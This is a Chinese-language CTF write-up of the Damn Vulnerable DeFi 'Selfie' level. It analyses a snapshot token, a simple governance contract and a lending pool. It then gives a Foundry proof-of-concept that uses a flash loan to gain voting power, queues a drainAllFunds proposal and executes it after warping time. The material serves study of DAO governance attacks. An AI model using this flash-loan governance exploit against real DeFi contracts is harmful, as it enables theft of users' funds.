通过这道简单的ctf题来了解DAO治理过程中可能遇到的攻击,可以结合这篇文章一块学习~从设计原理来学习ERC20Snapshot and ERC20Votes:https://learnblockchain.cn/article/8304
攻击目标
来源于 damn-vulnerable-defi/test/Levels/selfie/README.md
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
合约分析
DamnValuableTokenSnapshot.sol
这份合约继承了OpenZeppelin ERC20Snapshot
,这是oz治理代币标准的实现,我在这篇文章对ERC20Snapshot 和 ERC20Vote 进行了学习。
Function Name | Function Signature | Functionality |
---|---|---|
snapshot | snapshot() | 允许任何人拍摄当前DVT治理代币的快照。它将返回拍摄的快照的ID。 |
getBalanceAtLastSnapshot | getBalanceAtLastSnapshot(address) | 一个获取器函数,返回指定账户在上一个快照时的余额。 |
getTotalSupplyAtLastSnapshot | getTotalSupplyAtLastSnapshot() | 一个获取器函数,返回上一个快照时治理代币的总供应量。 |
这个代币被SelfiePoolSimpleGovernance和SelfiePool同时使用:
SimpleGovernance.sol
这是一个简单的治理合约,它使用DVT代币来检查用户是否拥有足够的投票权(用户余额必须超过上一个快照中DVT代币总供应量的一半)来排队一个操作。
Function Name | Function Signature | Functionality |
---|---|---|
queueAction | queueAction(address,bytes,uint256) | 将向队列中添加一个提案。只有提案者拥有足够的投票权(在上次快照时间拥有超过DVT总供应量的一半)并且接收者不是治理合约本身msg.sender时,提案才会被添加。 |
executeAction | executeAction(uint256) | 只有在提案时间过去足够长的时间(至少两天)才会被执行。 |
getActionDelay | getActionDelay() | 返回提案延迟时间 |
queueAction
我们注意到,想要提出的提案必须满足以下条件:
第一点由于没有对持有代币时间的限制,我们可以通过闪电贷来绕过第一点的检查。
executeAction
我们注意到executeAction
是通过外部调用执行提案,
function executeAction(uint256 actionId) external payable {
// 检提案是否可以被执行
if (!_canBeExecuted(actionId)) revert CannotExecuteThisAction();
GovernanceAction storage actionToExecute = actions[actionId];
// 更新行动的执行时间戳
actionToExecute.executedAt = block.timestamp;
-> actionToExecute.receiver.functionCallWithValue(actionToExecute.data, actionToExecute.weiAmount);
emit ActionExecuted(actionId, msg.sender);
}
简单来说,通过一定时间的提案通过调用提案中的`receiver`,通过functionCallWithValue 外部调用calldatat(data)来执行提案。
## `SelfiePool.sol`
这是一个简单的借贷合约,其中存入了150万DVT代币,具有无费用的闪电贷方法。除此之外,还提供了`drainAllFunds`函数,该函数被治理函数修饰。
modifier onlyGovernance() {
if (msg.sender != address(governance)) revert OnlyGovernanceAllowed();
_;
}
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
只能由治理合约进行调用,结合上述`SimpleGovernance.sol`的`executeAction`函数,我们不难想到,可以通过使用提案来使治理合约调用`drainAllFunds`函数,将dvt全部转给攻击者。
综上,我们通过分析合约,可以找到合约薄弱点如下:
1. `DamnValuableTokenSnapshot.sol` 攻击合约通过`snapshot()`来对DVT进行快照,这块没有对时间进行约束;
2. `SimpleGovernance.sol` 通过`executeAction`来执行receiver的外部调用来实现提案执行逻辑。
# 攻击步骤
1. 通过闪电贷借款,通过`dvtSnapshot.snapshot()`获取投票资格;
2. 发起queueAction,将receiver设置为slefiePool,并将提款给attacker逻辑转换成calldata,转换成提案;
3. 归还闪电贷
4. 模拟时间流失,执行Action,攻击成功。
注:前1-3步在闪电贷归还函数里实现
# PoC
function testExploit() public {
selfiePool.flashLoan(TOKENS_IN_POOL);
vm.warp(block.timestamp + 3 days);
simpleGovernance.executeAction(actionId);
validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}
function receiveTokens(address token, uint256 amount) external {
// This function is called by the token contract when tokens are transferred to it (via `transferAndCall`)
require(
token == address(dvtSnapshot),
"The token must be DVT"
);
/*
* 2. 发起queueAction,调用slefiePool的取款,将钱转给attacker
* 3. 归还闪电贷
*/
dvtSnapshot.snapshot();
dvtSnapshot.snapshot();
dvtSnapshot.snapshot();
actionId = simpleGovernance.queueAction(address(selfiePool), abi.encodeWithSignature("drainAllFunds(address)", address(attacker)), 0);
dvtSnapshot.transfer(msg.sender, amount);
}
完整的PoC代码见[这里](https://github.com/Daemon-Labs/damn-vulnerable-defi/blob/main/src/6.Selfie/SelfieAttacker.sol)
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!